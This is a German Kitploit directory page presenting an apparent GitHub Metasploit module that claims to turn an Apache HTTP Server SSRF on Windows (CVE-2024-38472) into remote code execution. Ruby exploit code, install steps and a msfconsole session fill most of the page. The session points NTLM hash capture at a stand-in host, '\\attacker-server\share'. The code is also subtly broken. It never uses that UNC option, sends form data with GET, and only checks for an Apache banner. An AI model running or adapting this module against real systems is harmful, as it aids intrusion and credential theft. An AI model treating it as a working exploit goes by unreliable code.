Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-38472 — Metasploit-Modul, das die SSRF-Sicherheitslücke CVE-2024-38472 in Apache HTTP Server unter Windows ausnutzt, um Remote Code Execution durch Interaktion mit internen Diensten zu erreichen. | Kitploit
Tools/GitHubGitHub/abdurahmon3236/cve-2024-38472
Penetrationstest-FrameworksExploit-FrameworksSchwachstellenanalyseLaterale BewegungWebanwendungs-ExploitationPost-ExploitationCommand and ControlRed TeamingPayload-Entwicklung
GitHubabdurahmon3236/cve-2024-38472

CVE-2024-38472

Metasploit-Modul, das die SSRF-Sicherheitslücke CVE-2024-38472 in Apache HTTP Server unter Windows ausnutzt, um Remote Code Execution durch Interaktion mit internen Diensten zu erreichen.

4vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

Die Erstellung eines Metasploit-Moduls für Remote Code Execution (RCE) für die SSRF-Sicherheitslücke (CVE-2024-38472) im Apache HTTP Server unter Windows ist eine Herausforderung, da SSRF selbst nicht direkt zu RCE führt. SSRF kann jedoch oft ein Schritt auf dem Weg zu RCE sein, insbesondere wenn man es nutzen kann, um mit internen Diensten zu interagieren oder eine sekundäre Sicherheitslücke auszulösen.

Strategie für RCE via SSRF

Um RCE durch SSRF zu erreichen, benötigen wir im Allgemeinen:

  1. Einen internen Dienst, der für einen bestimmten Angriff anfällig ist, der über SSRF ausgenutzt werden kann.
  2. Eine Fehlkonfiguration oder eine zusätzliche Sicherheitslücke, die eine beliebige Codeausführung ermöglicht.

Für dieses Beispiel nehmen wir an, dass wir einen sekundären Dienst intern auslösen können, der HTTP-Anfragen akzeptiert und dazu gebracht werden kann, beliebigen Code auszuführen (wie ein Jenkins-Server oder ein anderer Dienst mit einer offengelegten API).

Beispiel-Metasploit-Modul

Wir werden ein Metasploit-Modul erstellen, das versucht, RCE zu erreichen, indem es die SSRF ausnutzt, um mit einem internen Dienst zu interagieren. In diesem Fall simulieren wir einen internen Jenkins-Server mit einer offengelegten Skriptkonsole, die wir für RCE missbrauchen können.

Speichern Sie den folgenden Code als apache_unc_ssrf_rce.rb im Verzeichnis modules/exploits/multi/http Ihrer Metasploit-Framework-Installation.

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache HTTP Server Windows UNC SSRF to RCE',
      'Description'    => %q{
        This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
        which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
        services like Jenkins.
      },
      'Author'         =>
        [
          'Your Name'  # Your name or handle
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-38472'],
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => ['win'],
      'Arch'           => [ARCH_CMD],
      'Targets'        => [
        ['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RHOSTS,
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
        OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
        OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
        OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    ssrf_payload = {
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'version' => '1.1',
      'headers' => {
        'Host' => datastore['RHOSTS'],
        'Content-Type' => 'application/x-www-form-urlencoded'
      },
      'data'    => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
    }

    begin
      print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
      res = send_request_cgi(ssrf_payload)

      if res && res.code == 200
        print_good("Successfully triggered the internal service")
      else
        print_error("Failed to trigger the internal service: #{res.inspect}")
      end
    rescue ::Rex::ConnectionError => e
      print_error("Connection failed: #{e.message}")
    rescue ::Interrupt
      print_status("User interrupted the module execution")
    rescue ::Exception => e
      print_error("An unexpected error occurred: #{e.message}")
    end
  end
end

Verwendungshinweise

  1. Modul speichern: Speichern Sie das Modul als apache_unc_ssrf_rce.rb im Verzeichnis modules/exploits/multi/http Ihrer Metasploit-Framework-Installation.

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/multi/http/apache_unc_ssrf_rce.rb
    
  2. Metasploit laden: Starten Sie das Metasploit-Framework, indem Sie ein Terminal öffnen und Folgendes ausführen:

    root@kitploit:~
    msfconsole
    
  3. Das neue Modul verwenden: Laden Sie in der Metasploit-Konsole das neue Exploit-Modul mit dem folgenden Befehl:

    root@kitploit:~
    use exploit/multi/http/apache_unc_ssrf_rce
    
  4. Konfigurieren und ausführen: Setzen Sie die erforderlichen Optionen wie RHOSTS, RPORT, TARGETURI, UNC_SERVER, INTERNAL_SERVICE und CMD. Führen Sie dann das Modul aus.

Wichtige Hinweise

  • Stellen Sie sicher, dass Sie die entsprechenden Berechtigungen haben, bevor Sie Systeme testen oder ausnutzen.
  • Dieses Modul ist für Bildungs- und Testzwecke bestimmt. Testen Sie es immer in einer sicheren und kontrollierten Umgebung, bevor Sie es in Produktionssystemen einsetzen.

Dieses erweiterte Metasploit-Modul sendet eine speziell präparierte Anfrage an den anfälligen Apache HTTP Server unter Windows, um die SSRF-Sicherheitslücke auszulösen und sie zu nutzen, um RCE durch Interaktion mit einem internen Dienst zu erreichen. Passen Sie das Payload und das Modul nach Bedarf an die spezifische Art der Sicherheitslücke und die Zielumgebung an.

Tool herunterladen
root@kitploit:~
msf6 > use exploit/multi/http/apache_unc_ssrf_rce
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RPORT 80
RPORT => 80
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set UNC_SERVER \\\\attacker-server\\share
UNC_SERVER => \\attacker-server\share
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set INTERNAL_SERVICE http://internal-service/script
INTERNAL_SERVICE => http://internal-service/script
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set CMD calc.exe
CMD => calc.exe
msf6 exploit(multi/http/apache_unc_ssrf_rce) > run